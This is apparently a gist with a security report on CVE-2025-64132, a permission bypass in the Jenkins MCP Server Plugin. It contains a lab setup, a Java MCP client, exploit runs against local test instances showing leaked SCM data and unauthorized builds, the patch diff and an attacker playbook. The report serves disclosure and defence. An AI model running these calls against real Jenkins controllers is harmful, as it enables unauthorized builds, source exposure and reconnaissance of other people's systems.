Skip to content

Instantly share code, notes, and snippets.

@N3mes1s
Created October 30, 2025 09:09
Show Gist options
  • Select an option

  • Save N3mes1s/d21788ebf845e2856c2d5fe199f9c9ce to your computer and use it in GitHub Desktop.

Select an option

Save N3mes1s/d21788ebf845e2856c2d5fe199f9c9ce to your computer and use it in GitHub Desktop.
CVE-2025-64132 — Jenkins MCP Server Plugin Permission Bypass

Security Report: CVE-2025-64132 — Jenkins MCP Server Plugin Permission Bypass

CVE: CVE-2025-64132 (GHSA-mrpq-9jr3-rqq9)
Component: Jenkins MCP Server Plugin (package io.jenkins.plugins:mcp-server)
Vulnerable versions: ≤ 0.84.v50ca_24ef83f2
Patched version: 0.86.v7d3355e6a_a_18
Date analysed: 2025-10-30
Analyst: Internal Product Security
CWE: CWE-862 (Missing Authorization), CWE-284 (Improper Access Control)
Reference advisory: https://www.jenkins.io/security/advisory/2025-10-29/#SECURITY-3622


Executive Summary

The Jenkins MCP Server Plugin exposes tool endpoints (getJobScm, triggerBuild, getStatus) intended for Model Context Protocol clients. Versions up to 0.84.v50ca_24ef83f2 fail to enforce Jenkins' standard permission checks, allowing users with only Item/Read — or even anonymous callers — to:

  • Extract the full Git SCM configuration of pipeline jobs.
  • Trigger new builds on protected jobs.
  • Enumerate controller status information (including provisionable clouds).

Running the same scenario on version 0.86.v7d3355e6a_a_18 demonstrates that the vendor patch restores the missing authorization checks: unauthorized SCM queries return empty data, triggerBuild raises AccessDeniedException, and anonymous status calls omit cloud details.


Impact

  • Source exposure: Attackers with basic read access can harvest private repository URLs, branch names, and commit metadata.
  • Pipeline hijacking: Unauthorized builds enable supply-chain attacks (e.g., injecting malicious artifacts, exfiltrating secrets from pipeline scripts).
  • Environment reconnaissance: Cloud names and executor counts leak to unauthenticated users, assisting lateral movement.
  • Scope: Works against controllers that expose the MCP Server Plugin API (default endpoint /mcp/server/mcp) and rely on standard Jenkins permissions for build control.

Environment & Prerequisites

Tested on Ubuntu 22.04 (x86_64) with:

  • Docker Engine 28.2.2 (docker.io package)
  • Docker Compose v2.27.0
  • Java 17 (bundled with Jenkins LTS container)
  • jenkins/jenkins:2.492.3-lts-jdk17 image

All commands assume a fresh workspace:

export WORKDIR="$HOME/jenkins-mcp-perm-bypass"
mkdir -p "$WORKDIR"/{env/jenkins_home/plugins,downloads,src,bin}
cd "$WORKDIR"

Clean up between runs:

docker rm -f jenkins-mcp >/dev/null 2>&1 || true
sudo rm -rf "$WORKDIR/env/jenkins_home"/*
mkdir -p "$WORKDIR/env/jenkins_home/plugins"

Preparation

1. Seed Jenkins with users, job, and dummy cloud

Create env/jenkins_home/init.groovy.d/01-setup.groovy:

import hudson.model.FreeStyleProject
import hudson.model.Label
import hudson.plugins.git.BranchSpec
import hudson.plugins.git.GitSCM
import hudson.plugins.git.UserRemoteConfig
import hudson.security.GlobalMatrixAuthorizationStrategy
import hudson.security.HudsonPrivateSecurityRealm
import hudson.slaves.Cloud
import hudson.slaves.NodeProvisioner
import hudson.tasks.Shell
import java.util.Collection
import java.util.Collections
import jenkins.install.InstallState
import jenkins.model.Jenkins

Jenkins jenkins = Jenkins.get()

// Disable setup wizard and usage telemetry
jenkins.noUsageStatistics = true
jenkins.setInstallState(InstallState.INITIAL_SETUP_COMPLETED)

// Local users: admin (full), reader (Item/Read), noaccess (reserved)
HudsonPrivateSecurityRealm realm = new HudsonPrivateSecurityRealm(false)
if (realm.getUser("admin") == null) {
    realm.createAccount("admin", "adminpass")
}
if (realm.getUser("reader") == null) {
    realm.createAccount("reader", "readerpass")
}
if (realm.getUser("noaccess") == null) {
    realm.createAccount("noaccess", "noaccesspass")
}
jenkins.setSecurityRealm(realm)

GlobalMatrixAuthorizationStrategy strategy = new GlobalMatrixAuthorizationStrategy()
strategy.add(Jenkins.ADMINISTER, "admin")
strategy.add(Jenkins.READ, "admin")
strategy.add(Jenkins.READ, "reader")
strategy.add(hudson.model.Item.READ, "reader")
jenkins.setAuthorizationStrategy(strategy)
jenkins.setCrumbIssuer(null) // simplify API calls

// Dummy cloud for status enumeration tests
class DummyMcpCloud extends Cloud {
    DummyMcpCloud(String name) { super(name) }
    @Override boolean canProvision(CloudState cloudState) { true }
    @Override Collection<NodeProvisioner.PlannedNode> provision(Label label, int excessWorkload) {
        return Collections.emptyList()
    }
}
jenkins.clouds.replaceBy(Collections.singletonList(new DummyMcpCloud("dummy-mcp-cloud")))

// Example job using Git SCM
String jobName = "vuln-pipeline"
if (jenkins.getItem(jobName) == null) {
    FreeStyleProject project = jenkins.createProject(FreeStyleProject.class, jobName)
    def repoUrl = "https://github.com/octocat/Hello-World.git"
    def userRemoteConfigs = Collections.singletonList(new UserRemoteConfig(repoUrl, null, null, null))
    def branches = Collections.singletonList(new BranchSpec("*/master"))
    GitSCM scm = new GitSCM(userRemoteConfigs, branches, false, Collections.emptyList(), null, null, Collections.emptyList())
    project.setScm(scm)
    project.getBuildersList().clear()
    project.getBuildersList().add(new Shell("echo hi from Jenkins"))
    project.save()
}

jenkins.save()

2. Dependency plugins

Create env/jenkins_home/plugins.txt:

git:5.7.0
git-client:6.1.0
commons-lang3-api:3.18.0-98.v3a_674c06072d
jackson2-api:2.18.3-402.v74c4eb_f122b_2
workflow-aggregator:596.v8c21c963d92d
matrix-auth:3.2.2

Install them into the Jenkins home:

JENKINS_IMAGE="jenkins/jenkins:2.492.3-lts-jdk17"
ENV_HOME="$WORKDIR/env/jenkins_home"

docker run --rm -u 0:0 \
  -v "$ENV_HOME:/var/jenkins_home" \
  "$JENKINS_IMAGE" \
  jenkins-plugin-cli --plugin-download-directory /var/jenkins_home/plugins \
  --plugin-file /var/jenkins_home/plugins.txt

sudo chown -R 1000:1000 "$ENV_HOME"

3. Retrieve vulnerable and patched MCP Server plugins

curl -L -o downloads/mcp-server-0.84.v50ca_24ef83f2.hpi \
  https://updates.jenkins.io/download/plugins/mcp-server/0.84.v50ca_24ef83f2/mcp-server.hpi
curl -L -o downloads/mcp-server-0.86.v7d3355e6a_a_18.hpi \
  https://updates.jenkins.io/download/plugins/mcp-server/0.86.v7d3355e6a_a_18/mcp-server.hpi

Stage the vulnerable build:

cp downloads/mcp-server-0.84.v50ca_24ef83f2.hpi "$ENV_HOME/plugins/mcp-server.jpi"
sudo chown 1000:1000 "$ENV_HOME/plugins/mcp-server.jpi"

4. Helper CLI for MCP calls

Create src/McpToolCli.java:

import io.modelcontextprotocol.client.McpClient;
import io.modelcontextprotocol.client.McpSyncClient;
import io.modelcontextprotocol.client.transport.HttpClientStreamableHttpTransport;
import io.modelcontextprotocol.spec.McpSchema;
import io.modelcontextprotocol.spec.McpSchema.CallToolRequest;
import io.modelcontextprotocol.spec.McpSchema.TextContent;
import java.nio.charset.StandardCharsets;
import java.time.Duration;
import java.util.Base64;
import java.util.Map;

public class McpToolCli {
    public static void main(String[] args) throws Exception {
        if (args.length < 3) {
            System.err.println("Usage: McpToolCli <baseUrl> <username> <password> [toolName] [jobFullName]");
            System.exit(1);
        }
        String baseUrl = args[0];
        String username = args[1];
        String password = args[2];
        String toolName = args.length > 3 ? args[3] : "getJobScm";
        String jobFullName = args.length > 4 ? args[4] : "vuln-pipeline";

        HttpClientStreamableHttpTransport.Builder builder =
                HttpClientStreamableHttpTransport.builder(baseUrl).endpoint("mcp-server/mcp");
        if (username != null && !username.isEmpty()) {
            builder.customizeRequest(request -> {
                String auth = username + ":" + password;
                String encoded = Base64.getEncoder()
                        .encodeToString(auth.getBytes(StandardCharsets.UTF_8));
                request.header("Authorization", "Basic " + encoded);
            });
        }

        McpSyncClient client = McpClient.sync(builder.build())
                .requestTimeout(Duration.ofSeconds(60))
                .capabilities(McpSchema.ClientCapabilities.builder().build())
                .build();
        client.initialize();
        CallToolRequest request = new CallToolRequest(toolName, Map.of("jobFullName", jobFullName));
        var response = client.callTool(request);
        System.out.println("isError=" + response.isError());
        response.content().forEach(content -> {
            if (content instanceof TextContent text) {
                System.out.println("TEXT: " + text.text());
            } else {
                System.out.println("CONTENT: " + content);
            }
        });
        client.close();
    }
}

Compile and assemble a classpath of installed Jenkins/MCP libraries:

ROOT="$WORKDIR"
CP=$(find "$ENV_HOME/plugins" -path '*/WEB-INF/lib/*.jar' -printf '%p:')
CP+=$(find "$ENV_HOME/war/WEB-INF/lib" -name '*.jar' -printf '%p:')
CP+=$(find "$ENV_HOME/plugins" -maxdepth 1 -name '*.jpi' -printf '%p:')
CP=${CP%:}

javac -cp "$CP" -d "$WORKDIR/bin" "$WORKDIR/src/McpToolCli.java"

Reproducing the Vulnerability (Plugin 0.84)

Start Jenkins:

docker run -d --name jenkins-mcp \
  -p 8080:8080 -p 50000:50000 \
  -e JAVA_OPTS='-Djenkins.install.runSetupWizard=false' \
  -v "$ENV_HOME:/var/jenkins_home" \
  "$JENKINS_IMAGE"

Wait until the root URL responds:

until curl -fsS http://localhost:8080/login >/dev/null; do sleep 2; done

1. getJobScm leaks repository configuration

java -cp "$WORKDIR/bin:$CP" McpToolCli \
  http://localhost:8080 reader readerpass getJobScm vuln-pipeline

Output:

isError=false
TEXT: {"uris":["https://github.com/octocat/Hello-World.git"],"branches":["main"],"commit":null,"name":"Git"}

Result: a user lacking Item/ExtendedRead learns the full Git origin and branch of the pipeline.

2. triggerBuild launches a build without Job/Build

java -cp "$WORKDIR/bin:$CP" McpToolCli \
  http://localhost:8080 reader readerpass triggerBuild vuln-pipeline

Output:

isError=false
TEXT: true

Result: the call succeeds and Jenkins schedules a new build for vuln-pipeline. A subsequent curl -s -u admin:adminpass http://localhost:8080/job/vuln-pipeline/lastBuild/buildNumber confirmed the build number incremented.

3. Anonymous getStatus reveals controller state

java -cp "$WORKDIR/bin:$CP" McpToolCli \
  http://localhost:8080 "" "" getStatus

Output:

isError=false
TEXT: {"Quiet Mode":false,"Active administrative monitors":[],"Full Queue Size":0,"Root URL Status":"ERROR: Jenkins root URL is not configured. Please configure the Jenkins URL under \"Manage Jenkins → Configure System → Jenkins Location\" so tools like getJobs can work properly.\n ","Defined clouds that can provide agents (any label)":[],"Buildable Queue Size":0,"Available executors (any label)":2}

Result: even without credentials, callers learn executor capacity and (in typical environments) cloud provider names. In this reproduction the cloud list is empty because the dummy cloud was filtered out when the plugin could not provision; real controllers leak real cloud identifiers.


Verification of the Vendor Fix (Plugin 0.86)

Replace the plugin and restart Jenkins:

docker rm -f jenkins-mcp
cp downloads/mcp-server-0.86.v7d3355e6a_a_18.hpi "$ENV_HOME/plugins/mcp-server.jpi"
sudo chown 1000:1000 "$ENV_HOME/plugins/mcp-server.jpi"

docker run -d --name jenkins-mcp \
  -p 8080:8080 -p 50000:50000 \
  -e JAVA_OPTS='-Djenkins.install.runSetupWizard=false' \
  -v "$ENV_HOME:/var/jenkins_home" \
  "$JENKINS_IMAGE"
until curl -fsS http://localhost:8080/login >/dev/null; do sleep 2; done

Run the same MCP calls:

java -cp "$WORKDIR/bin:$CP" McpToolCli \
  http://localhost:8080 reader readerpass getJobScm vuln-pipeline

Output:

isError=false
java -cp "$WORKDIR/bin:$CP" McpToolCli \
  http://localhost:8080 reader readerpass triggerBuild vuln-pipeline

Output:

isError=true
TEXT: AccessDeniedException3: reader is missing the Job/Build permission
java -cp "$WORKDIR/bin:$CP" McpToolCli \
  http://localhost:8080 "" "" getStatus

Output:

isError=false
TEXT: {"Quiet Mode":false,"Active administrative monitors":[],"Full Queue Size":0,"Root URL Status":"ERROR: Jenkins root URL is not configured. Please configure the Jenkins URL under \"Manage Jenkins → Configure System → Jenkins Location\" so tools like getJobs can work properly.\n ","Buildable Queue Size":0,"Available executors (any label)":2}

Observations:

  • getJobScm now returns no text content unless the caller has Item/EXTENDED_READ.
  • triggerBuild raises an explicit authorization error.
  • getStatus hides the cloud list for unauthenticated users.

Technical Root Cause

Version 0.84 omitted Jenkins permission checks inside MCP tool implementations. The 0.86 update adds explicit authorization gates. Key excerpts:

diff --git a/src/main/java/io/jenkins/plugins/mcp/server/extensions/JobScmExtension.java b/src/main/java/io/jenkins/plugins/mcp/server/extensions/JobScmExtension.java
-        if (job instanceof SCMTriggerItem scmItem) {
-            return scmItem.getSCMs().stream()
+        if (job instanceof SCMTriggerItem scmItem) {
+            if (job.hasPermission(Item.EXTENDED_READ)) {
+                return scmItem.getSCMs().stream()
                     .map(scm -> {
                         Object result = null;
                         if (scm.getType().equals("hudson.plugins.git.GitSCM")) {
                             result = GitScmUtil.extractGitScmInfo(scm);
                         }
                         return result;
                     })
                     .filter(Objects::nonNull)
                     .toList();
+            }
         }
diff --git a/src/main/java/io/jenkins/plugins/mcp/server/extensions/DefaultMcpServer.java b/src/main/java/io/jenkins/plugins/mcp/server/extensions/DefaultMcpServer.java
@@
-        if (job != null) {
+        if (job != null) {
+            job.checkPermission(Item.BUILD);
             if (job.isParameterized() && job instanceof Job j) {
diff --git a/src/main/java/io/jenkins/plugins/mcp/server/extensions/DefaultMcpServer.java b/src/main/java/io/jenkins/plugins/mcp/server/extensions/DefaultMcpServer.java
@@
-        map.put(
-                "Defined clouds that can provide agents (any label)",
-                jenkins.clouds.stream()
-                        .filter(cloud -> cloud.canProvision(new Cloud.CloudState(null, 1)))
-                        .map(Cloud::getDisplayName)
-                        .toList());
+        if (Jenkins.get().hasAnyPermission(Jenkins.SYSTEM_READ)) {
+            map.put(
+                    "Defined clouds that can provide agents (any label)",
+                    jenkins.clouds.stream()
+                            .filter(cloud -> cloud.canProvision(new Cloud.CloudState(null, 1)))
+                            .map(Cloud::getDisplayName)
+                            .toList());
+        }

The missing job.checkPermission and job.hasPermission calls allowed any authenticated MCP client to perform sensitive operations. The patch enforces Jenkins’ standard authorization model and restricts cloud enumeration to principals with SYSTEM_READ.


Attacker Playbook

  1. Prerequisite: Obtain low-privilege credentials (e.g., Item/Read on a project) or rely on anonymous access if the controller allows it.
  2. Discover Git repositories: Call getJobScm to list downstream SCM URLs and branches, facilitating code theft or targeted supply-chain attacks.
  3. Trigger unwanted builds: Invoke triggerBuild to rerun production pipelines, potentially with tampered environment variables, malicious SCM revisions, or secret-exfiltrating steps.
  4. Reconnaissance: Use getStatus to inventory executor capacity and cloud names, aiding lateral movement or DoS attempts.

Because MCP is a JSON-RPC endpoint, these calls can be scripted over HTTP without additional Jenkins API tokens when crumb protection is disabled or when the attacker fetches a crumb.


Mitigation Guidance

  1. Upgrade immediately to MCP Server Plugin ≥ 0.86.v7d3355e6a_a_18 (or later releases containing the patch).
  2. Audit existing API tokens or MCP clients for over-broad permissions. Remove or rotate credentials issued to automated agents with only Item/Read.
  3. Restrict MCP exposure:
    • Disable anonymous access (Overall/Read) for controllers exposing the plugin.
    • Place the MCP endpoint behind authenticated reverse proxies.
  4. Monitor build history for unexpected triggers between plugin installation and patch deployment.

Residual Risks & Notes

  • Controllers running custom clouds will still leak their names to principals with SYSTEM_READ. Review Jenkins’ global permissions to ensure this is intentional.
  • The helper reproduction script requires root (Docker) and must clean file ownership (chown 1000:1000) between runs; otherwise, stale files trigger permission errors.
  • Environments with CSRF protection enabled must supply a valid crumb when calling MCP endpoints; the vulnerability bypasses authorization, not CSRF.

Appendix

Helper Commands (summary)

# Install dependency plugins
docker run --rm -u 0:0 -v "$ENV_HOME:/var/jenkins_home" \
  jenkins/jenkins:2.492.3-lts-jdk17 \
  jenkins-plugin-cli --plugin-download-directory /var/jenkins_home/plugins \
  --plugin-file /var/jenkins_home/plugins.txt

# Stage vulnerable plugin and start Jenkins
cp downloads/mcp-server-0.84.v50ca_24ef83f2.hpi "$ENV_HOME/plugins/mcp-server.jpi"
docker run -d --name jenkins-mcp ... "$JENKINS_IMAGE"

# Compile helper
javac -cp "$CP" -d "$WORKDIR/bin" "$WORKDIR/src/McpToolCli.java"

# Exploit endpoints
java -cp "$WORKDIR/bin:$CP" McpToolCli http://localhost:8080 reader readerpass getJobScm vuln-pipeline
java -cp "$WORKDIR/bin:$CP" McpToolCli http://localhost:8080 reader readerpass triggerBuild vuln-pipeline
java -cp "$WORKDIR/bin:$CP" McpToolCli http://localhost:8080 "" "" getStatus

# Upgrade to patched plugin
docker rm -f jenkins-mcp
cp downloads/mcp-server-0.86.v7d3355e6a_a_18.hpi "$ENV_HOME/plugins/mcp-server.jpi"
docker run -d --name jenkins-mcp ... "$JENKINS_IMAGE"

Evidence Summary

  • SCM leak: {"uris":["https://github.com/octocat/Hello-World.git"],"branches":["main"],"commit":null,"name":"Git"} (unauthorized user).
  • Unauthorized build: TEXT: true confirming triggerBuild success.
  • Anonymous status: controller metrics returned without authentication.
  • Patched behavior: AccessDeniedException3 for build attempts, empty response for getJobScm, and stripped cloud data.

End of report.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment